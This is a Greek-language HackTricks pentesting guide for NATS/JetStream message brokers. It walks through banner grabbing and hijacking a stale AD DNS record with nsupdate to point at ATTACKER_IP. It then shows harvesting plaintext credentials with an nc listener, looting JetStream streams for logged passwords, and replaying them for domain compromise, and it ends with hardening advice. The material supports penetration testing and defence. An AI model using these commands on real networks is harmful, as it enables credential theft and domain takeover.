4222 - Pentesting NATS / JetStream
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
NATS είναι ένας υψηλής απόδοσης δίαυλος μηνυμάτων που χρησιμοποιεί ένα απλό text-based πρωτόκολλο: ο server μεταδίδει ένα INFO { ... } JSON banner αμέσως μετά τη σύνδεση TCP, και ο client απαντά με ένα CONNECT {"user":"USERNAME","pass":"PASSWORD",...} frame ακολουθούμενο από προαιρετικές εντολές PING/PUB/SUB. JetStream προσθέτει primitives επιμονής (Streams & Consumers) πάνω στην ίδια θύρα TCP (4222/tcp). TLS και authentication είναι προαιρετικά, οπότε πολλές εσωτερικές εγκαταστάσεις λειτουργούν με plaintext AUTH.
- Προεπιλεγμένη θύρα: 4222/tcp (4223+ για clustered routes)
- Προεπιλεγμένα πεδία banner:
"version","auth_required","jetstream","max_payload","tls_required"
Ανίχνευση
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
Το INFO frame μπορεί επίσης να ανακτηθεί χειροκίνητα:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
Εγκαταστήστε το επίσημο CLI (Go ≥1.21) για βαθύτερη αλληλεπίδραση:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
Οι αποτυχίες αυθεντικοποίησης προκαλούν άμεσα nats: Authorization Violation, επομένως απαιτούνται έγκυρα creds για οποιοδήποτε ουσιαστικό RPC.
Απόσπαση credentials μέσω DNS/απομίμησης υπηρεσίας
- Εντοπίστε παρωχημένες AD DNS εγγραφές για το broker hostname (π.χ.
nats-svc.domain.local). Εάν η εγγραφή επιστρέψειNXDOMAIN, ένας χρήστης domain με χαμηλά προνόμια μπορεί να την αναδημιουργήσει χάρη στα default dynamic-update ACLs. Δείτε AD DNS Records abuse για υπόβαθρο. - Καταχωρήστε το hostname σε ένα IP που ελέγχεται από επιτιθέμενο:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- Mirror το νόμιμο banner μία φορά, και μετά replay το σε κάθε συνδεόμενο client. Το NATS εμπιστεύεται την πρώτη γραμμή
INFOπου βλέπει, οπότε χρειάζεται μόνο να τη στείλουμε μέσω ενός listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- Μόλις ένας εσωτερικός client επιλύσει το καταληφθέν όνομα, θα εκπέμψει ένα απλό κείμενο
CONNECTframe που περιέχει το ζεύγοςuser/passκαι διάφορα telemetry (client name, Go version, protocol level). Επειδή τίποτα πέρα από το INFO banner δεν απαιτείται, ακόμα και τοncαρκεί για να συλλέξετε μυστικά. - Για μεγαλύτερες συνεδρίες, τρέξτε τον επίσημο server τοπικά (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging ήδη δείχνει usernames· η αφαίρεση του redaction helper ή το sniffing της κίνησης με Wireshark αποκαλύπτει τον πλήρη κωδικό.
JetStream looting & password hunting
Μόλις ανακτηθεί οποιοδήποτε credential (π.χ. Dev_Account_A), αποθηκεύστε το ως CLI context για να αποφύγετε την επαναπληκτρολόγηση:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
Η ανακάλυψη του JetStream συνήθως ακολουθεί αυτό το μοτίβο:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Οι ομάδες streaming συχνά καταγράφουν συμβάντα authentication σε subjects όπως logs.auth. Εάν οι developers αποθηκεύσουν το raw JSON σε ένα JetStream stream, τα payloads μπορεί να περιλαμβάνουν plaintext AD usernames και passwords:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Τα retained secrets μπορούν στη συνέχεια να replayed εναντίον Kerberos-only services χρησιμοποιώντας netexec smb DC01 -u USER -p PASS -k, επιτρέποντας πλήρη συμβιβασμό του domain.
Hardening & detection
- Enforce TLS (
tls,tls_required, or mTLS viankey/creds). Χωρίς κρυπτογράφηση, INFO/CONNECT leaks credentials to anyone on-path. - Pinpoint who can update DNS – delegate service records to dedicated accounts and audit Event IDs 257/252 for high-value hostnames. Combine with scavenging alerts so missing broker names cannot be silently re-claimed.
- Disable credential logging. Scrub secrets before publishing to subjects, set JetStream retention/age limits, and apply
deny_delete=falseonly to trusted operators. - Monitor for banner anomalies – repeated short-lived connections, authentication timeouts, or INFO banners that do not match the blessed template suggest spoofed servers.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

